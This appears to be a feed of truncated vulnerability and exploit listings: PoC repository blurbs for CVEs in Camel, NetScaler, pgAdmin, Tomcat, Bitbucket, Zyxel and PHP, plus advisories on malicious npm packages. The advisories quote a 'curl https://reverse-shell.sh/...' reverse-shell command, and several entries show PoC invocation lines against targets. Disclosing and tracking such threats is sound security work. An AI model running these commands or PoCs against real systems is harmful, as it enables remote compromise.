CVE-2026-47323

camel-cxf-rest / camel-cxf / camel-knative-http 헤더 인젝션 재현기 CVE-2026-47323 이 프로젝트는 Apache Camel의 CXF 및 Knative HTTP 헤더 필터 전략에서 메시지-헤더 인젝션 을 시연하며, CVE-2026-47323 로 추적됩니다. CxfRsHeaderFilterStrategy camel-cxf-rest, CxfHeaderFilterStrategy camel-cxf-transport 및 KnativeHttpHeaderFilterStrategy...

watchTowr-vs-Citrix-Netscaler-CVE-2026-88771

watchTowr-vs-Citrix-Netscaler-CVE-2026-88771 Citrix NetScaler CVE-2026-88771 の検出アーティファクトジェネレーター 技術的な詳細については、ブログ記事を参照してください。 実際の検出 ./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://netscaler.local/ --command 'id/var/tmp/watchTowr' / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ /...

HIKRAVEN

HIKRAVEN 🛡️ 고급 Hikvision 보안 평가 플랫폼 - 전문가용 에디션 기능 • 빠른 시작 • 설치 • 사용법 • 문서 • 면책 조항 ⚠️ 중요 법적 고지 ! 이 도구는 공인된 보안 테스트 전용입니다 ! 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다. 이 도구를 사용함으로써 귀하는 다음 사항에 동의하게 됩니다: · 소유하고 있거나 명시적인 서면 허가를 받은 시스템만 테스트할 것 · 모든 관련 법률 및 규정을 준수할 것 · 발견 사항을 책임감 있게 사용하고 취약점을 윤리적으로 보고할 것 · 귀하의 행동에 대한...

pgadmin4-9.10-CVE-2025-13780

pgadmin4 9.11 메타 명령 필터 명령 실행 요약 pgAdmin의 Issue 9320 수정의 일부로 도입된 PLAIN 복원 메타 명령 필터는 SQL 파일이 UTF-8 BOMEF BB BF 또는 다른 특수 시퀀스로 시작할 때 메타 명령을 감지하지 못합니다. 구현된 필터는 hasmetacommands 함수를 사용하며, 정규 표현식으로 원시 바이트를 스캔합니다. 정규식은 해당 바이트를 무시 가능한 것으로 처리하지 않으므로 !와 같은 메타 명령이 감지되지 않습니다. pgAdmin이 --file과 함께 psql을 호출하면...

Preproduce-CVE-2019-0232

CVE-2019-0232 - Apache Tomcat CGI Servlet Remote Code Execution このリポジトリは、Windows 上の Apache Tomcat 9.0.17 における CVE-2019-0232 脆弱性を再現するための Docker ベースのラボ環境を提供します。 脆弱性概要 CVE-2019-0232 は、Windows 上で動作する Apache Tomcat CGI Servlet におけるリモートコード実行の脆弱性です。この問題は、enableCmdLineArguments パラメータが true...

Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

MAL-2026-17634 Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

MAL-2026-17635 Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

CVE-2023-30990

CVE-2023-30990 익스플로잇 자세한 내용은 블로그 게시물을 참조하세요: https://blog.silentsignal.eu/2025/09/04/Exploit-development-for-IBM-i/ Python 스크립트에는 ebcdic 모듈이 필요합니다: pip install ebcdic DRDA S38CMD 메서드 python3 ddm.py "" DRDA SQL 메서드 python3 ddm-bypass-test.py "" S38CMD 메서드를 이용한 간단한 바인드 셸 ./exploit.sh...

cve-2022-36804

Atlassian Bitbucket RCE PoC - CVE-2022-36804 이 저장소에는 Atlassian Bitbucket의 원격 코드 실행 취약점에 대한 간단한 PoC 스크립트가 포함되어 있습니다. 다음 명령어로 이 스크립트를 간단히 실행할 수 있습니다: echo 'bitbucket.redacted.com' | python3 cve-2022-36804.py 또는 subfinder, sublist3r, go-dork 등과 같은 다른 도구에서 대상 파일을 생성할 수 있습니다. cat targets.txt | python3...

CVE-2022-30525

CVE-2022-30525 Zyxel 방화벽의 인증되지 않은 원격 명령 주입 영향을 받는 버전 영향을 받는 구성 요소 USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 펌웨어 버전 ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 업데이트 -proxy 출처...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab ラボの前提条件 デモアプリ: http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip JBOSSダウンロードアーカイブからJboss 5.1.0.GA: https://repository.jboss.org/sourceforge/ JAVAアーカイブからJdk-6u45-linux-x64:...

CVE-2021-42559

CVE-2021-42559: MITRE Caldera의 구성을 통한 명령 주입 Caldera버전 =2.8.1에는 서버를 시작할 때 명령을 실행하는 여러 "요구 사항"이 포함되어 있습니다. 이러한 명령은 Rest API를 통해 변경할 수 있으므로, 인증된 사용자는 서버가 재시작될 때 실행될 임의의 명령을 삽입할 수 있습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 내용은 여기에서 확인할 수 있습니다. 요구 사항: 이 취약점에는 다음이 필요합니다: 유효한 사용자 자격 증명 Caldera 애플리케이션이 재시작될 때까지 대...

CVE-2021-31630

CVE-2021-31630 OpenPLC 3 웹서버 인증된 원격 코드 실행. 설명 Open PLC Webserver v3에 명령 삽입 취약점이 존재하여 원격 공격자가 임의 코드를 실행할 수 있습니다. HTB Wifinetictwo.htb 머신에서만 테스트되었습니다. 취약점을 익스플로잇하는 모든 스크립트에서 문제를 발견했습니다. 아마도 제가 파럿Parrot을 사용하거나 제 브라우저 때문일 수 있습니다. 크롬은 로그인에 작동하지만, 파이어폭스에서는 로그인 문제가 있었고 웹 서버에 POST 요청으로 로그인할 때 이상한 현상이...

CVE-2024-4577

CVE-2024-4577: PHP CGI 설정의 심각한 취약점 PHP의 CGI 모드에서 공격자가 URL 매개변수를 조작하여 임의 명령을 실행할 수 있는 심각한 보안 결함이 존재합니다. 영향을 받는 버전 Windows에서 php-cgi를 실행하는 PHP 7.4.29 및 8.0.19 이전 버전 공격 방법론 공격자는 특수하게 조작된 요청을 PHP CGI 스크립트에 보내 이 취약점을 악용할 수 있습니다. 이러한 요청은 악성 매개변수를 주입하여 임의 명령 실행을 가능하게 합니다. 이는 잠재적으로 전체 시스템 손상으로 이어질 수 있습니다...

CVE-2026-105487

A vulnerability was found in yogeshojha reNgine up to 2.2.0. Affected by this vulnerability is the function subdomaindiscovery of the file web/reNgine/tasks.py of the component listTargets Endpoint. The manipulation of the argument Name results in os command injection. The attack can be launched...

CVE-2026-105484

A security vulnerability has been detected in TOTOLINK X6000R 9.4.0cu.652B20230116. The impacted element is the function firmwarecheck of the file /cgi-bin/cstecgi.cgi of the component UploadFirmwareFile Handler. Such manipulation of the argument filename leads to os command injection. The attack...